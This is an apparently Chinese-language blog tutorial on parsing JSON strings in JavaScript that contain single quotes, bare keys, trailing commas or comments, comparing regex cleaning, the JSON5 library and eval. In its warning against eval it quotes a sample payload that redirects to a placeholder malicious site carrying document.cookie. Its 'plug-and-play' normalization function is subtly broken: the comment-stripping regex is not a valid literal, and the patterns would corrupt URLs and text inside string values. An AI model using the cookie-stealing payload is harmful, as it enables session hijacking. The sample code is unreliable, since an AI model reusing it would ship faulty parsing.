JS怎么处理含单引号或非标准格式的JSON字符串

作者:函数茶馆时间:2026-11-11 14:28:14浏览:103

全面解析在JavaScript中处理含单引号、无引号裸键、末尾逗号及注释等非标准JSON字符串的方法。对比原生正则预处理、第三方宽容解析器JSON5以及安全防护机制,提供工程级高可用解析方案。

在 JavaScript 中,原生 JSON.parse() 方法严格遵循 RFC 8259 规范,只要字符串中包含单引号、无引号包裹的裸键名、末尾逗号或注释,就会立即抛出 SyntaxError 异常。处理此类非标准 JSON 的可靠解决路径主要有两种:在无需外部依赖的轻量场景中,采用精确正则预清洗流水线将单引号和裸键规范化为标准双引号;在复杂业务或生产环境中,直接引入经过充分验证的宽松解析器(如 JSON5)进行 AST 级词法解析,并坚决避免随意使用带有远程代码执行隐患的 eval() 或 new Function()。
JS怎么处理含单引号或非标准格式的JSON字符串
图 0:非标准 JSON 字符串容错解析与标准化处理系统总览

一、为什么原生 JSON.parse 无法直接解析非标准格式

JavaScript 内置的 JSON.parse() 并不是一个通用的 JavaScript 对象字面量求值器,而是依照国际标准 RFC 8259(以及 ECMA-404)实现的高速词法分析机。标准规范对 JSON 的语法形态作出了极为严苛的限定,任何偏离都会在扫描器检查阶段触发语法阻断:

  • 键名限定:对象所有的属性名(Keys)必须使用英文双引号(")包裹,不支持单引号('),更不允许出现没有引号包裹的裸标识符。
  • 字符串值限定:所有字符串类型的属性值同样必须由双引号闭合,单引号会被直接视为非法字符(Unexpected token)。
  • 分隔符要求:对象或数组的最后一项之后绝对不能有多余的末尾逗号(Trailing Comma)。
  • 注释与特殊值:JSON 是一种纯粹的数据交换格式,不支持单行注释(//)、块级注释(/* */),也不允许出现 NaN、Infinity 或十六进制数值字面量(如 0x1F)。

这类非标准字符串在实际工程中极为常见。例如:后端 Python 接口将字典对象通过 str(dict) 直接打印输出、PHP 早期接口未指定编码规范、前端从 HTML 标签的 data-* 自定义属性读取配置时为了避免与 HTML 双引号属性冲突而使用了单引号,或是用户在后台文本框中直接粘贴了写有注释和尾逗号的配置文件。

JS怎么处理含单引号或非标准格式的JSON字符串
图 1:RFC 8259 标准语法断言与非标准输入解析阻断机制对比

二、方案一:零依赖的正则预清洗与规范化转换

如果当前运行环境受限(例如小型小程序、内嵌 WebView、受限沙箱或对打包体积有严苛要求的极简脚本),不允许引入第三方 npm 包,可以通过规范化的正则表达式流水线对字符串执行分步清洗,将其修复为合规的标准 JSON 格式后再调用 JSON.parse()。

1. 正则替换的四步清洗流水线

字符串清洗不能通过简单的全局单字符替换(例如粗暴地执行 str.replace(/'/g, '"'))来处理,因为一旦文本内容本身包含英文缩写(如 It's 或 don't),无脑全局替换就会破坏文本内部语义并导致闭合错乱。科学的预清洗应遵循有序管道:

  1. 剥离注释:利用正则扫描并过滤掉可能夹带在内容中的行内注释与块级注释。
  2. 裸键名补齐双引号:匹配冒号 : 前面的合法标识符,确保对象键名完全由双引号包裹。
  3. 单引号值规范化:精准定位由单引号包裹的字符串区间,将其替换为双引号,同时保护字符串内部的已转义字符。
  4. 剔除悬空逗号:清除紧挨在右花括号 } 或右方括号 ] 前面的多余尾随逗号。
JS怎么处理含单引号或非标准格式的JSON字符串
图 2:正则预处理与字符串修复管道操作步骤

2. 规范化函数的完整代码实现

以下为可在纯原生 JavaScript 运行环境中即插即用的预清洗函数:

/**
 * 将非标准 JSON 字符串清洗并转换为合规的标准 JSON 文本
 * @param {string} rawStr 输入的非标准字符串
 * @returns {string} 符合 RFC 8259 标准的 JSON 字符串
 */
function normalizeJsonString(rawStr) {
  if (typeof rawStr !== 'string') {
    throw new TypeError('normalizeJsonString: 入参必须为字符串类型');
  }

  let cleaned = rawStr.trim();

  // 步骤 1:剔除多行注释 /* ... */ 与单行注释 // ...
  cleaned = cleaned.replace(/\/\*[\s\S]*?\*\/|\/\/.*\/g, '');

  // 步骤 2:为未加引号的对象键名补齐双引号
  // 匹配在 {, 逗号或换行后紧跟的标识符,且后续带有冒号
  cleaned = cleaned.replace(/([{,\s])([a-zA-Z0-9_\$]+)\s*:/g, '$1"$2":');

  // 步骤 3:将单引号包裹的字符串转换为双引号
  // 精确匹配单引号包裹的内容,处理包含转义单引号的情况
  cleaned = cleaned.replace(/'((?:\\.|[^'\\])*)'/g, (match, content) => {
    // 还原内容中的 \' 为 ',同时将未转义的双引号进行转义 \"
    const escapedContent = content
      .replace(/\\'/g, "'")
      .replace(/"/g, '\\"');
    return `"${escapedContent}"`;
  });

  // 步骤 4:移除对象和数组末尾的多余逗号
  cleaned = cleaned.replace(/,\s*([}\]])/g, '$1');

  return cleaned;
}

// 验证测试
const badInput = `{
  'title': 'JS指南',
  category: '前端工程',
  tags: ['JavaScript', 'Parser', ],
  // 这是一个备注
  'summary': 'It\'s very useful!',
}`;

try {
  const validJson = normalizeJsonString(badInput);
  const parsedData = JSON.parse(validJson);
  console.log('解析成功:', parsedData);
  console.log('标题字段:', parsedData.title);
} catch (err) {
  console.error('解析失败:', err.message);
}
适用边界与局限性提醒:正则预处理适合键值格式规则明确、层次较为扁平的数据结构。如果数据中存在极为复杂的深层交替嵌套(如字符串内部包裹了未转义的单双引号、多行模板文本等),正则语法树的推导能力有限,极易在边缘字符上发生误伤。

三、方案二:引入工业级宽容解析库(JSON5)

对于商业级前端项目或 Node.js 服务端应用,如果需要长期、稳定地解析各种复杂或非标准的配置文件与第三方接口数据,推荐使用成熟的开源宽容解析库 —— JSON5。

1. JSON5 的技术特性

JSON5 是 ECMAScript 5.1 语法特性的超集扩展,专门旨在让 JSON 拥有与人类书写代码一样舒适的宽容度。其官方解析器由词法分析器(Lexer)与抽象语法树(AST)构建而成,具有以下特性:

  • 原生支持单引号闭合的键名与字符串值;
  • 支持对象键名不带引号(合法标识符名称);
  • 允许对象和数组末尾保留尾随逗号;
  • 支持单行注释(//)与多行注释(/* */);
  • 原生支持 Infinity、-Infinity、NaN 以及十六进制数字(如 0xFF);
  • 绝对安全:其底层是严格的语法解析状态机,不是代码执行引擎,不会执行任何传入的函数或恶意脚本。

2. 在项目中安装与使用

在 Node.js 或构建工具工程中安装依赖:

npm install json5 --save

在业务模块中直接引入并解析非标准字符串:

import JSON5 from 'json5';

const looseStr = `{
  // 用户基础配置
  name: 'Antigravity User',
  'permissions': ['read', 'write', ],
  maxRetries: 0x10, // 支持十六进制解析
  timeout: Infinity,
}`;

const config = JSON5.parse(looseStr);
console.log(config.name);        // 输出: "Antigravity User"
console.log(config.maxRetries);  // 输出: 16
console.log(config.timeout);     // 输出: Infinity

在浏览器无需打包构建的纯静态页面中,也可以直接通过 CDN 引入 ESM 模块:

<script type="module">
  import JSON5 from 'https://cdn.jsdelivr.net/npm/json5@2.2.3/+esm';
  const data = JSON5.parse("{'status': 'online', count: 12,}");
  console.log(data.status); // online
</script>

四、方案三:动态求值(eval / new Function)的安全性深度剖析

在很多初级讨论中,常有人提出使用 eval('(' + str + ')') 或 new Function('return ' + str)() 来解析非标准 JSON,因为 JavaScript 引擎天生就能直接理解单引号与裸键名的对象字面量语法。但在绝大多数生产场景下,这种做法具有极高的安全隐患,必须严加防范。

高危警告(代码注入与 XSS):eval 和 new Function 会将字符串作为可执行代码直接加载到 JS 引擎中执行。若待解析的字符串来自后端不可控的第三方接口、URL Query 参数、LocalStorage 或用户前台输入,攻击者只需构造形如 { 'hack': alert(document.cookie) } 或 (function(){ location.href='https://malicious.site?c='+document.cookie; })() 的有效载荷,就能立刻实现任意代码执行(RCE)或会话劫持。
JS怎么处理含单引号或非标准格式的JSON字符串
图 3:非标准 JSON 各种解析方案的技术选型决策树
对比维度 方案一:正则预清洗 + JSON.parse 方案二:JSON5 宽容解析器 方案三:eval / new Function
安全评级 高(纯文本字符处理,无执行环境) 最高(AST 词法状态机,零注入风险) 极低(严重代码注入与 XSS 隐患)
外部依赖 0 KB(纯原生代码) 需引入第三方包(约 8KB gzipped) 0 KB(原生语言特性)
容错能力 中等(覆盖单引号、裸键、尾逗号) 极高(全面支持 ES5.1 字面量特性) 极高(任何合法的 JS 表达式均可)
推荐场景 无依赖约束、结构相对简单的轻量任务 商业级生产环境、复杂配置与外部接口 强烈禁止用于不可信数据解析

五、工程实战:封装健壮的高可用容错解析器

在大型企业级前端系统与通用 SDK 开发中,数据源往往存在不确定性。为了既兼顾解析性能,又确保程序面对异常格式时具备自我愈合与兜底能力,应采用“快速路径(Fast-Path)优先、宽容解析降级、默认值安全托底”的分层架构。

JS怎么处理含单引号或非标准格式的JSON字符串
图 4:工程化健壮容错 JSON 解析架构与防御性流转图

工业级解析封装实现

/**
 * 工业级安全容错 JSON 解析器
 * @template T
 * @param {unknown} input 待解析的数据或字符串
 * @param {T} [defaultValue=null] 最终解析失败时的兜底返回值
 * @param {(err: Error, raw: string) => void} [onParseError] 监控上报回调
 * @returns {T | any} 解析出的 JavaScript 实体
 */
function robustSafeParse(input, defaultValue = null, onParseError) {
  // 1. 入参防守:如果本身已经是对像或空值,直接返回
  if (typeof input !== 'string') {
    return (input !== undefined && input !== null) ? input : defaultValue;
  }

  const trimmed = input.trim();
  if (trimmed === '') {
    return defaultValue;
  }

  // 2. 快速通路 (Fast Path):90% 以上的标准数据由 C++ 底层 JSON.parse 高速完成
  try {
    return JSON.parse(trimmed);
  } catch (primaryError) {
    // 快速通路失败,进入容错回退机制
  }

  // 3. 容错通路 (Fault-Tolerant Pipeline):使用正则规范化清洗
  try {
    const normalized = normalizeJsonString(trimmed);
    return JSON.parse(normalized);
  } catch (fallbackError) {
    // 4. 兜底与监控:记录日志并上报非标样本,返回安全默认值避免系统崩溃
    if (typeof onParseError === 'function') {
      onParseError(fallbackError, trimmed);
    } else {
      console.warn('[robustSafeParse] 解析彻底失败,已启用兜底值:', trimmed, fallbackError);
    }
    return defaultValue;
  }
}

// 业务调用演示:
const rawApiData = "{ 'userId': 9527, status: 'active', }";

// 正常解析出非标格式
const user = robustSafeParse(rawApiData, {});
console.log('解析输出:', user.userId, user.status); // 9527 active

// 面对彻底被截断的乱码输入,触发兜底,防止页面白屏
const brokenData = "{ 'userId': 9527, status: ";
const safeResult = robustSafeParse(brokenData, { fallback: true });
console.log('兜底输出:', safeResult); // { fallback: true }

六、常见踩坑场景与排查自查清单

在实际处理非标准 JSON 时,许多隐蔽的技术陷阱会导致解析看似成功、实则丢失精度或引发边界崩溃。在排查问题时,可依照以下清单逐一核验:

1. 字符串内部存在转义单引号或换行符

如果字符串值本身包含英文缩写(例如 'It\'s great')或者嵌套了换行符,简单的正则替换会破坏转义斜杠。务必使用前文给出的携带回溯保护机制的单引号清洗正则,或者直接使用 JSON5 库处理。

2. HTML Data 属性的实体编码干扰

前端从 DOM 节点的 element.dataset.info 或 getAttribute('data-info') 读取字符串时,浏览器有时会将双引号自动反转义或将单引号转成实体字符(如 ' 或 ")。在传入解析器前,应先确认字符串是否需要进行实体解码(Entity Unescape)。

3. 大整数(BigInt)精度丢失隐患

后端传过来的 JSON 中若包含大于 2^53 - 1(即 9007199254740991)的雪花 ID 或流水号(例如 18392019283746581923),无论使用原生 JSON.parse 还是正则规范化,转为 JavaScript 数字类型时都会发生末位精度截断。对此类字段,应要求接口以字符串格式传递,或在清洗时为其补充双引号包裹。

4. 最佳实践总结与建议

  • 溯源治理优先:前端容错是防御性编程手段,长期来看,应督促上游后端或第三方接口修复输出机制,统一使用 json_encode()、json.dumps() 等标准库输出标准的 RFC 8259 规范字符串。
  • 防御性兜底常驻:对外来接口数据调用解析时,永远使用 try...catch 或统一的 robustSafeParse 包装函数,杜绝任何未经保护的原生 JSON.parse() 调用导致的前端白屏崩溃。
  • 安全底线不妥协:面对不可信数据源,坚决封杀 eval() 与 new Function(),严格选用 AST 级词法解析工具保障系统安全。
作者最新文章
相关文章
更多